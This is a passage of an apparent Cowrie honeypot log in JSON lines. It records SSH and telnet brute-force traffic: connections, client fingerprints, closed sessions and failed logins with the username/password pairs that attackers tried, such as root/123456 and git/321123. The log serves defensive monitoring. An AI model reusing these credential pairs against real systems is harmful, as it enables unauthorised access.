01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:17.799695Z","src_ip":"159.65.58.200","session":"e33a727fe348","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":58252,"dst_ip":"159.203.135.109","dst_port":23,"session":"08a84da30ef0","protocol":"telnet","message":"New connection: 107.6.151.170:58252 (159.203.135.109:23) [session: 08a84da30ef0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:17.824878Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234Root","message":"login attempt [root/1234Root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:18.620947Z","src_ip":"123.58.213.128","session":"6482bf2b92f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shvid","password":"123456","message":"login attempt [shvid/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:19.313889Z","src_ip":"159.65.58.200","session":"e33a727fe348","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:19.846440Z","src_ip":"123.58.213.128","session":"6482bf2b92f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:20.607565Z","src_ip":"159.65.58.200","session":"e33a727fe348","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":57706,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d2ad7fbde54","protocol":"ssh","message":"New connection: 194.59.206.2:57706 (10.17.0.5:22) [session: 6d2ad7fbde54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:20.788473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:20.794737Z","src_ip":"194.59.206.2","session":"6d2ad7fbde54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:20.882587Z","src_ip":"194.59.206.2","session":"6d2ad7fbde54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:20.974957Z","src_ip":"194.59.206.2","session":"6d2ad7fbde54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":57256,"dst_ip":"10.17.0.5","dst_port":22,"session":"c84726c0f710","protocol":"ssh","message":"New connection: 8.210.75.243:57256 (10.17.0.5:22) [session: c84726c0f710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:32.167491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:33.157895Z","src_ip":"8.210.75.243","session":"c84726c0f710","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.9593300819397,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:33.385678Z","src_ip":"170.64.224.25","session":"a8a4d17ec241","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:35.520700Z","src_ip":"8.210.75.243","session":"c84726c0f710","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:38.449537Z","src_ip":"8.210.75.243","session":"c84726c0f710","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.183780193328857,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:39.956719Z","src_ip":"107.6.151.170","session":"71b66a93fbe7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":57272,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b99ccb0fc30","protocol":"ssh","message":"New connection: 91.92.40.4:57272 (10.17.0.5:22) [session: 3b99ccb0fc30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:40.213767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:40.217915Z","src_ip":"91.92.40.4","session":"3b99ccb0fc30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.1","message":"Connection lost after 8.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:40.283613Z","src_ip":"8.210.75.243","session":"c84726c0f710","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:40.304395Z","src_ip":"91.92.40.4","session":"3b99ccb0fc30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"321123","message":"login attempt [git/321123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:40.551341Z","src_ip":"91.92.40.4","session":"3b99ccb0fc30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":23.6283278465271,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:41.453038Z","src_ip":"107.6.151.170","session":"08a84da30ef0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:41.635427Z","src_ip":"91.92.40.4","session":"3b99ccb0fc30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:47.047318Z","src_ip":"8.210.75.243","session":"ac5f267dd802","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.32","src_port":38354,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1705551dd67","protocol":"ssh","message":"New connection: 81.192.46.32:38354 (10.17.0.5:22) [session: b1705551dd67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:48.549782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:48.553505Z","src_ip":"81.192.46.32","session":"b1705551dd67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:48.666010Z","src_ip":"81.192.46.32","session":"b1705551dd67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vicecity","message":"login attempt [root/vicecity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:49.151861Z","src_ip":"81.192.46.32","session":"b1705551dd67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.137343406677246,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:49.901146Z","src_ip":"107.6.151.170","session":"f53c48341c01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:50.266732Z","src_ip":"81.192.46.32","session":"b1705551dd67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.209","src_port":55400,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a33a6df82bb","protocol":"ssh","message":"New connection: 2.57.122.209:55400 (10.17.0.5:22) [session: 6a33a6df82bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:14:05.196488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:14:05.966040Z","src_ip":"2.57.122.209","session":"6a33a6df82bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:14:05.968885Z","src_ip":"2.57.122.209","session":"6a33a6df82bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:14:09.767114Z","src_ip":"2.57.122.209","session":"6a33a6df82bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:14:11.514079Z","src_ip":"2.57.122.209","session":"6a33a6df82bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":41138,"dst_ip":"10.17.0.5","dst_port":22,"session":"88c7f8f87124","protocol":"ssh","message":"New connection: 8.210.75.243:41138 (10.17.0.5:22) [session: 88c7f8f87124]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:14:11.964224Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54982,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e34f85d9b1b","protocol":"telnet","message":"New connection: 170.64.224.25:54982 (159.203.135.109:23) [session: 4e34f85d9b1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:14:25.006138Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":34416,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c1c2413cd6a","protocol":"telnet","message":"New connection: 170.64.224.25:34416 (159.203.135.109:23) [session: 8c1c2413cd6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:14:32.247789Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":53236,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd4281fdeeb5","protocol":"ssh","message":"New connection: 8.210.75.243:53236 (10.17.0.5:22) [session: dd4281fdeeb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:14:39.867630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:14:39.871493Z","src_ip":"8.210.75.243","session":"dd4281fdeeb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40112,"dst_ip":"159.203.135.109","dst_port":23,"session":"0265b5e76d32","protocol":"telnet","message":"New connection: 170.64.224.25:40112 (159.203.135.109:23) [session: 0265b5e76d32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:14:47.614516Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.67.46.203","src_port":36696,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6ad65df591c","protocol":"ssh","message":"New connection: 152.67.46.203:36696 (10.17.0.5:22) [session: e6ad65df591c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:14:50.173160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:14:50.175821Z","src_ip":"152.67.46.203","session":"e6ad65df591c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:14:50.288176Z","src_ip":"152.67.46.203","session":"e6ad65df591c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@1234","message":"login attempt [test/test@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:14:50.771762Z","src_ip":"152.67.46.203","session":"e6ad65df591c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:14:51.391471Z","src_ip":"8.210.75.243","session":"3770ab6cae6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:14:51.886328Z","src_ip":"152.67.46.203","session":"e6ad65df591c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.213.128","src_port":11458,"dst_ip":"10.17.0.5","dst_port":22,"session":"74c9582c1a31","protocol":"ssh","message":"New connection: 123.58.213.128:11458 (10.17.0.5:22) [session: 74c9582c1a31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:14:55.636698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:14:55.643247Z","src_ip":"123.58.213.128","session":"74c9582c1a31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.